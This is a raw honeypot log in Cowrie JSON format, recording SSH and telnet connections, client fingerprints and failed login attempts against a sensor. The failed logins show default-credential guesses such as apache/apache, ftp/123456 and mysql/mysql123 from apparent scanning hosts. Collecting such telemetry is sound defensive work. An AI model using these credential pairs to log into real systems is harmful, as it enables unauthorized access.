{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:59.988786Z","src_ip":"193.37.70.224","session":"e18256c05fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:00.362613Z","src_ip":"193.37.70.224","session":"e18256c05fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:01.006450Z","src_ip":"103.216.145.2","session":"68dcf34c4032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:01.459378Z","src_ip":"193.37.70.224","session":"e18256c05fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46314,"dst_ip":"10.17.0.5","dst_port":22,"session":"0413e6977815","protocol":"ssh","message":"New connection: 165.154.137.186:46314 (10.17.0.5:22) [session: 0413e6977815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:02.345328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:02.352773Z","src_ip":"165.154.137.186","session":"0413e6977815","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:02.611030Z","src_ip":"165.154.137.186","session":"0413e6977815","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:03.407649Z","src_ip":"165.154.137.186","session":"0413e6977815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51430,"dst_ip":"159.203.135.109","dst_port":23,"session":"60384eaf4cd5","protocol":"telnet","message":"New connection: 172.81.62.90:51430 (159.203.135.109:23) [session: 60384eaf4cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:04.479828Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:04.672784Z","src_ip":"165.154.137.186","session":"0413e6977815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47684,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d5a660c4e8b","protocol":"ssh","message":"New connection: 165.154.137.186:47684 (10.17.0.5:22) [session: 7d5a660c4e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:10.558152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:10.564612Z","src_ip":"165.154.137.186","session":"7d5a660c4e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:10.834059Z","src_ip":"165.154.137.186","session":"7d5a660c4e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:11.663170Z","src_ip":"165.154.137.186","session":"7d5a660c4e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:12.937310Z","src_ip":"165.154.137.186","session":"7d5a660c4e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35132,"dst_ip":"159.203.135.109","dst_port":23,"session":"676414698704","protocol":"telnet","message":"New connection: 128.199.8.54:35132 (159.203.135.109:23) [session: 676414698704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:20.001742Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":38900,"dst_ip":"10.17.0.5","dst_port":22,"session":"79dfdff97105","protocol":"ssh","message":"New connection: 38.148.249.2:38900 (10.17.0.5:22) [session: 79dfdff97105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:20.571639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:20.575959Z","src_ip":"38.148.249.2","session":"79dfdff97105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:20.645407Z","src_ip":"38.148.249.2","session":"79dfdff97105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mqm","password":"mqm","message":"login attempt [mqm/mqm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:20.958341Z","src_ip":"38.148.249.2","session":"79dfdff97105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:22.031868Z","src_ip":"38.148.249.2","session":"79dfdff97105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47126,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fd5db374118","protocol":"ssh","message":"New connection: 165.154.137.186:47126 (10.17.0.5:22) [session: 1fd5db374118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:23.365909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:23.370070Z","src_ip":"165.154.137.186","session":"1fd5db374118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:23.615667Z","src_ip":"165.154.137.186","session":"1fd5db374118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:24.639297Z","src_ip":"165.154.137.186","session":"1fd5db374118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:25.888701Z","src_ip":"165.154.137.186","session":"1fd5db374118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54532,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d98eeb31e73","protocol":"ssh","message":"New connection: 165.154.137.186:54532 (10.17.0.5:22) [session: 2d98eeb31e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:38.092773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:38.097269Z","src_ip":"165.154.137.186","session":"2d98eeb31e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:38.353692Z","src_ip":"165.154.137.186","session":"2d98eeb31e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54550,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d8ff63c436","protocol":"ssh","message":"New connection: 165.154.137.186:54550 (10.17.0.5:22) [session: d3d8ff63c436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:39.029578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:39.033527Z","src_ip":"165.154.137.186","session":"d3d8ff63c436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:39.131762Z","src_ip":"165.154.137.186","session":"2d98eeb31e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:39.299103Z","src_ip":"165.154.137.186","session":"d3d8ff63c436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:40.097834Z","src_ip":"165.154.137.186","session":"d3d8ff63c436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:40.389594Z","src_ip":"165.154.137.186","session":"2d98eeb31e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:41.364925Z","src_ip":"165.154.137.186","session":"d3d8ff63c436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.254584312438965,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:44.734293Z","src_ip":"172.81.62.90","session":"60384eaf4cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51662,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7749d65163e","protocol":"ssh","message":"New connection: 165.154.137.186:51662 (10.17.0.5:22) [session: e7749d65163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:46.630807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:46.765927Z","src_ip":"165.154.137.186","session":"e7749d65163e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:46.901411Z","src_ip":"165.154.137.186","session":"e7749d65163e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:47.945042Z","src_ip":"165.154.137.186","session":"e7749d65163e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:49.291412Z","src_ip":"165.154.137.186","session":"e7749d65163e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35756,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ffd88553d4d","protocol":"ssh","message":"New connection: 165.154.137.186:35756 (10.17.0.5:22) [session: 7ffd88553d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:57.562161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:51:57.565626Z","src_ip":"165.154.137.186","session":"7ffd88553d4d","protocol":"ssh"}
